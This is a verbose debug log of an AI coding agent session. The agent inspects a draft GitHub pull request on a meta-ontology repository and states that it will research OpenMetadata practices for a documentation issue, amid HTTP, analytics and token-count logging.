event.timestamp=2026-07-12T04:02:36.430Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.435Z] [INFO] 2026-07-12T04:02:36.432255Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:36.435Z] [INFO] \n[2026-07-12T04:02:36.439Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_6\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr view 6 --repo link-foundation/meta-ontology --json number,title,body,state,isDraft,author,baseRefName,headRefName,mergeable,mergeStateStatus,statusCheckRollup,commits,files,url'\",\"aggregated_output\":\"{\\\"author\\\":{\\\"id\\\":\\\"MDQ6VXNlcjE0MzE5MDQ=\\\",\\\"is_bot\\\":false,\\\"login\\\":\\\"konard\\\",\\\"name\\\":\\\"Konstantin Diachenko\\\"},\\\"baseRefName\\\":\\\"main\\\",\\\"body\\\":\\\"## \ud83e\udd16 AI-Powered Solution Draft\\\\n\\\\nThis pull request is being automatically generated to solve issue #5.\\\\n\\\\n### \ud83d\udccb Issue Reference\\\\nFixes #5\\\\n\\\\n### \ud83d\udea7 Status\\\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\\\n\\\\n### \ud83d\udcdd Implementation Details\\\\n_Details will be added as the solution draft is developed..._\\\\n\\\\n---\\\\n*This PR was created automatically by the AI issue solver*\\\",\\\"commits\\\":[{\\\"authoredDate\\\":\\\"2026-07-12T04:01:46Z\\\",\\\"authors\\\":[{\\\"email\\\":\\\"drakonard@gmail.com\\\",\\\"id\\\":\\\"MDQ6VXNlcjE0MzE5MDQ=\\\",\\\"login\\\":\\\"konard\\\",\\\"name\\\":\\\"konard\\\"}],\\\"committedDate\\\":\\\"2026-07-12T04:01:46Z\\\",\\\"messageBody\\\":\\\"Adding .gitkeep for PR creation (default mode).\\\\nThis file will be removed when the task is complete.\\\\n\\\\nIssue: https://github.com/link-foundation/meta-ontology/issues/5\\\",\\\"messageHeadline\\\":\\\"Initial commit with task details\\\",\\\"oid\\\":\\\"e4a**********************************43d\\\"}],\\\"files\\\":[{\\\"path\\\":\\\".gitkeep\\\",\\\"additions\\\":1,\\\"deletions\\\":0,\\\"changeType\\\":\\\"ADDED\\\"}],\\\"headRefName\\\":\\\"issue-5-e2602184e2c5\\\",\\\"isDraft\\\":true,\\\"mergeStateStatus\\\":\\\"UNSTABLE\\\",\\\"mergeable\\\":\\\"MERGEABLE\\\",\\\"number\\\":6,\\\"state\\\":\\\"OPEN\\\",\\\"statusCheckRollup\\\":[{\\\"__typename\\\":\\\"CheckRun\\\",\\\"completedAt\\\":\\\"0001-01-01T00:00:00Z\\\",\\\"conclusion\\\":\\\"\\\",\\\"detailsUrl\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481865\\\",\\\"name\\\":\\\"Detect Changes\\\",\\\"startedAt\\\":\\\"2026-07-12T04:02:02Z\\\",\\\"status\\\":\\\"IN_PROGRESS\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"},{\\\"__typename\\\":\\\"CheckRun\\\",\\\"completedAt\\\":\\\"0001-01-01T00:00:00Z\\\",\\\"conclusion\\\":\\\"\\\",\\\"detailsUrl\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481872\\\",\\\"name\\\":\\\"Version Modification Check\\\",\\\"startedAt\\\":\\\"2026-07-12T04:02:01Z\\\",\\\"status\\\":\\\"IN_PROGRESS\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"},{\\\"__typename\\\":\\\"CheckRun\\\",\\\"completedAt\\\":\\\"2026-07-12T04:01:59Z\\\",\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"detailsUrl\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613482019\\\",\\\"name\\\":\\\"Create Changelog PR\\\",\\\"startedAt\\\":\\\"2026-07-12T04:02:00Z\\\",\\\"status\\\":\\\"COMPLETED\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"}],\\\"title\\\":\\\"[WIP] We should use best practices from https://github.com/open-metadata/OpenMetadata\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/pull/6\\\"}\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:36.439Z] [INFO] \n[2026-07-12T04:02:36.448Z] [INFO] 2026-07-12T04:02:36.438710Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:36.448Z] [INFO] \n[2026-07-12T04:02:36.457Z] [INFO] 2026-07-12T04:02:36.456329Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:36.457Z] [INFO] \n[2026-07-12T04:02:36.461Z] [INFO] 2026-07-12T04:02:36.459619Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:36.461Z] [INFO] \n[2026-07-12T04:02:36.468Z] [INFO] 2026-07-12T04:02:36.464158Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:36.468Z] [INFO] \n[2026-07-12T04:02:36.560Z] [INFO] 2026-07-12T04:02:36.560097Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:36.560Z] [INFO] \n[2026-07-12T04:02:36.564Z] [INFO] 2026-07-12T04:02:36.560813Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:36 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"3aaa86c4-fd04-496e-b71a-011c963dc29a\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=2HbEMYRN11zdPFM%2Fno532rnGe%2FfA8sgOMcP595XbJbSjUMURz6AbFr3qs%2FHg6xFIgAfABkoBWZ4G129FygQikfWFefj10INDA1Lgc6trxk2T67MwZ2t9q5mvuk%2B4\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2741f8161942-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:36.564Z] [INFO] \n[2026-07-12T04:02:36.621Z] [INFO] 2026-07-12T04:02:36.617740Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:36.621Z] [INFO] \n[2026-07-12T04:02:36.655Z] [INFO] 2026-07-12T04:02:36.655053Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:36.655Z] [INFO] \n[2026-07-12T04:02:36.659Z] [INFO] 2026-07-12T04:02:36.658906Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:36.659Z] [INFO] \n[2026-07-12T04:02:36.663Z] [INFO] 2026-07-12T04:02:36.662373Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:36.663Z] [INFO] \n[2026-07-12T04:02:36.776Z] [INFO] 2026-07-12T04:02:36.775541Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:36.776Z] [INFO] 2026-07-12T04:02:36.775764Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:36 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"a517ef9c-e2b1-41cc-b00e-b310dc9b4f83\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=%2FoLuC21HCl9HNtdFix%2FmCvSkRjaMpdExU3pR8JcxZ3kBgpMS3iYElp8I%2Ba0TW316aBpGiWRk%2FWe8%2B7bWxzNl%2FTllfQJOsGKUiQq6qRdx9GFHMPPokvBaK%2FJKHWgw\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2743393d9a07-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:36.776Z] [INFO] \n[2026-07-12T04:02:36.841Z] [INFO] 2026-07-12T04:02:36.839597Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:36.841Z] [INFO] \n[2026-07-12T04:02:36.890Z] [INFO] 2026-07-12T04:02:36.887450Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:36.890Z] [INFO] \n[2026-07-12T04:02:36.891Z] [INFO] 2026-07-12T04:02:36.890507Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:36.891Z] [INFO] \n[2026-07-12T04:02:36.895Z] [INFO] 2026-07-12T04:02:36.894618Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:36.895Z] [INFO] \n[2026-07-12T04:02:37.012Z] [INFO] 2026-07-12T04:02:37.008013Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:37.012Z] [INFO] \n[2026-07-12T04:02:37.014Z] [INFO] 2026-07-12T04:02:37.008109Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:37 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"a90452ad-57df-4f46-83ce-d77de865c8fc\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=wfWEFcJb89XbiSEo2aWIOPtXn%2B95AdlrpG1iZabY5hbQqww9nM29BEALQ0Gav9dqkuTpDN2dJlT7WNEHTUOVT9bOcvZXUOYUtWXJmQLBUHDguTT9vPQk1OjcmA%2BH\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2744bcb4dc76-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:37.014Z] [INFO] \n[2026-07-12T04:02:37.086Z] [INFO] 2026-07-12T04:02:37.084139Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:37.086Z] [INFO] \n[2026-07-12T04:02:37.107Z] [INFO] 2026-07-12T04:02:37.103814Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:37.107Z] [INFO] \n[2026-07-12T04:02:37.110Z] [INFO] 2026-07-12T04:02:37.109827Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:37.110Z] [INFO] \n[2026-07-12T04:02:37.118Z] [INFO] 2026-07-12T04:02:37.116918Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:37.118Z] [INFO] \n[2026-07-12T04:02:37.202Z] [INFO] 2026-07-12T04:02:37.199524Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311dd2630819181121da4cf2c0dc5\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHdmzNK0rp3z4c7fTjDdT6iPxenhoiu4U71suqWvkryLF0Ko25rkTuVm4Y5u0gY0WTn67LnmfFEh6JNpU5vxoDV8cGH_BNXbakFztk34dJTvH8ORDb2HqgerDXBNZpiq4e-daOJF4XDc_z6HcV_y8HS_JY6Su7XsLABflZc6GIKCqIIWxTizM1r461XTkcCH1nlZUadi2JLDa8JGA6ixZSvpf5FNRRX71FIuKL1TSPirblbmpbhi8WH-gqjaS-nudpVWxlSRD1_1zSRz680KXIfTo9RV25Ie83C31OhEWmXqKGaly6xAoKd4mJrmtn_cDGQF8rPccHaOfVju2-sPu5Tq5a6AkWSEeD0KWErkYUliu3UY8qNSuI0vvWA7paYhSIXqL3rtYJtaeD_PDP6CDLvhCMBIm42A-ZS7hH2f8VTbcbESF1ju71FTsbleN2xL5Q-V5PKElGGgziR82fnNs1i-tEcDe0D9VDZt44l3PiRW_m2kJv89taRNmCwKccMRMBWv_zAWa1E2a7p5gKgyqqJaWp9FJOAG_5dvgIXupG0K2Y_f-KV_ceAk4XHHGeBhCQ4AkT47l4cuXLfcDd-jioeO0iGBM5S7-CFBeRF9ow6ovQI6Rp1EyPW3kcwXZYSlwbRRWW8cE2bk9mIcR1fnZzyiIUWNaqxbtu2P1escuw9FtOVeIWpuhb-q90EdGYV4gx_W4wKT2f56cKEPaKEITiRbV1oqiSLQgHCR2yDlr0qm_AeEDsFha_0XlU84VzGpFIYmzA7vWo_I8GCvXNDx6zru4IR09FnzVjDYNQSGkoMbQbEBQBUiRm5BeIB2BJgAI_o4Ata04Vq37eAV63eF5veWlBg5OdUY_66E60Cfw6kOMex6yHPulMjgEgEGOMyAv9V33ZfPShzspjx3-RPIGk5KQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:37.202Z] [INFO] \n[2026-07-12T04:02:37.291Z] [INFO] 2026-07-12T04:02:37.290228Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:37.291Z] [INFO] 2026-07-12T04:02:37.290321Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:37 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"6099f186-8e10-4c9a-9ce5-8cc59a8a9116\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=cS4M1FZSLzQnD50tkxerWCG3OhIgzexwjAaUU3eFHDPbposyxBXSCPNX67RlmDRySH67QMADaMa4nUIkQHR5OVi2UHV%2FlAodY%2FGwZ5MnV5n0LDT%2BUbORpGZHOvHP\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27463a4cd36c-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:37.291Z] [INFO] \n[2026-07-12T04:02:37.417Z] [INFO] 2026-07-12T04:02:37.416476Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:37.417Z] [INFO] \n[2026-07-12T04:02:37.444Z] [INFO] 2026-07-12T04:02:37.444277Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:37.444Z] [INFO] \n[2026-07-12T04:02:37.450Z] [INFO] 2026-07-12T04:02:37.445482Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:37.450Z] [INFO] \n[2026-07-12T04:02:37.453Z] [INFO] 2026-07-12T04:02:37.450406Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:37.453Z] [INFO] \n[2026-07-12T04:02:37.535Z] [INFO] 2026-07-12T04:02:37.533365Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:37.535Z] [INFO] \n[2026-07-12T04:02:37.543Z] [INFO] 2026-07-12T04:02:37.535151Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:37 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"x-oai-request-id\": \"186a486f-858a-4657-b728-1a8c93b2f2d1\", \"x-openai-proxy-wasm\": \"v0.1\", \"cf-cache-status\": \"DYNAMIC\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=oTPA4iA%2Fb%2BHjGVdbG6DuIn6XqaGBinOm1ck0uydnY%2BQxRFiGGOk6Pn7WJ%2BRBf4IwYAbDxn5tw5x%2BtUXmPu6Kn8R1l6xX5lTMQEH3lf5QGmMuWfjq%2Be0d8QCXdSGM\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-ray\": \"a19d27482b15d2e7-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:37.543Z] [INFO] \n[2026-07-12T04:02:38.484Z] [INFO] 2026-07-12T04:02:38.483336Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311dd2630819181121da4cf2c0dc5\"), summary: [SummaryText { text: \"**Inspecting documentation and case studies**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHe2RtyKwmOY9E1Nz1gzqz1zDbSepO5NCp1dPLSkLQx_IEQTlYxiAV3HSBZKUBhglz0adM_drCJm8M2hHWFWIM3_QsAUMf5Ch_bgJYJBX5niyn8dI0RJVZXqGaX0l_WDAYJ-zq31hY7lN_o_Ep_2Gj4sA0aHaAKAL8qfbqkKj0wps9vSvpr2_xsENfujnPvkZBhOzNCo0TMwtdxo_5HyejaZnoyhD6uFW19eEqmJOgRhNzKyBOeakHJkZnHH1cEvCaq98Swh0HqaJQT3hkFi_ws4GZQAuJGp5fL1GL4clWF8E7QvR-dd8i_dlMgwXZNmtcZUXdSM2DJfKXIwly3BETDKuycvfhOF6Ek4t04IAeDOdgVRcmsKoD_0SxvcOhVn7kyiM6IAZ8RmBlR9G1TUabiejG7UbRV5eBaFfbBtuaLoEnJgFmjPriiIr-57DKO8LVc4PdJ6jagnym-2VfJpnQ-mAdXA125miPjk6L-i8AU1RSkjFmoSX1UoFXXu6PElQnnLB-PIpFpUYQccwjY85TvEp4O4kd-3ntMkBcenGqFEpdqJASK2FF1V3TNrWUMecEEycPDOB8OnMLc3zaFxX4Mm-fAWIfw21A1lJTSV-zhJ90U3QOG46cmt1E0HnYdW_9tnQXEKZlWCDBcPdC6n_ko3pxK0TXbPJMs8sZy1gIl6LqucOspH38PX2_AaHnhSylq9iuyq1BkGVlpUjWSuPxesa5ps0hq-c5VS2RBy2Rtm-UoZcf64SoOBznXv1Hoa2KBvFT9mmiAb2z4S0Ufn-wsb2ghpPoFAi8PmhQnDB9mLc2y3hRxhB7p5UPROzP1k9IhzkApmDMJV4X_j_gROba5odfxRZsjaLiPGXxdu-FU9sQlHwuuypMcIUM46_v18_pv1wecKd9YOwCdZuKsfAfT0e2zRbDrzLcvJ58tviU_NeAP2dgkufMqFYC2aPEysd7SVZ_P0gW9_HTSQIp5d3ULG4D9m2aumOAQecoZaOg_4ePCkI3cHczgjgUaYAsZF_Jwt1VhQdK6sYMZSpsMOLYPR_8gpAAm_4r-o2vcWRxzm3uDuxkM5Z8G6NbjpN-A_cCHqa5vQiVhwRZpn8pY9Hkj1PfjDPg327bu3ccdIV0W8wfKjwr9Gq57e4pMS2Ro1LV7KFGLZC6PlqImsVfZ3jKJbk1JXuNcmF8k9IHscGfkZzM2ZQmv4PHdnLh_WFqs4uyWdcEiy45lxfwlK7Yi2Htt-Q==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:38.484Z] [INFO] \n[2026-07-12T04:02:38.490Z] [INFO] 2026-07-12T04:02:38.485626Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5311de77bc8191a4b0b74c978ab3a2\"), role: \"assistant\", content: [], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:38.490Z] [INFO] \n[2026-07-12T04:02:38.492Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_11\",\"type\":\"reasoning\",\"text\":\"**Inspecting documentation and case studies**\"}}\n[2026-07-12T04:02:38.492Z] [INFO] \n[2026-07-12T04:02:39.242Z] [INFO] 2026-07-12T04:02:39.239151Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5311de77bc8191a4b0b74c978ab3a2\"), role: \"assistant\", content: [OutputText { text: \"The issue is documentation/research rather than a runtime bug, and there is no reviewer feedback yet. I\u2019m now mapping the repository\u2019s existing case-study structure and researching OpenMetadata\u2019s current architecture and practices from primary sources so every recommendation is traceable.\" }], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:39.242Z] [INFO] \n[2026-07-12T04:02:39.246Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_12\",\"type\":\"agent_message\",\"text\":\"The issue is documentation/research rather than a runtime bug, and there is no reviewer feedback yet. I\u2019m now mapping the repository\u2019s existing case-study structure and researching OpenMetadata\u2019s current architecture and practices from primary sources so every recommendation is traceable.\"}}\n[2026-07-12T04:02:39.246Z] [INFO] \n[2026-07-12T04:02:39.249Z] [INFO] 2026-07-12T04:02:39.243447Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5311df3918819193ebae89a9597936\"), status: Some(\"in_progress\"), call_id: \"call_zNW9IATkrMDbSTlyvHls9Oy1\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:39.249Z] [INFO] \n[2026-07-12T04:02:42.525Z] [INFO] 2026-07-12T04:02:42.514643Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311dc7de48191bdb6b3dd5d9f4874\"\n[2026-07-12T04:02:42.525Z] [INFO] 2026-07-12T04:02:42.517349Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=19616 output_token_count=290 cached_token_count=15104 reasoning_token_count=47 tool_token_count=19906 ttft_ms=772 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:42.517Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.525Z] [INFO] 2026-07-12T04:02:42.517406Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=19616 output_token_count=290 cached_token_count=15104 reasoning_token_count=47 tool_token_count=19906 ttft_ms=772 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:42.517Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.525Z] [INFO] 2026-07-12T04:02:42.517595Z  INFO 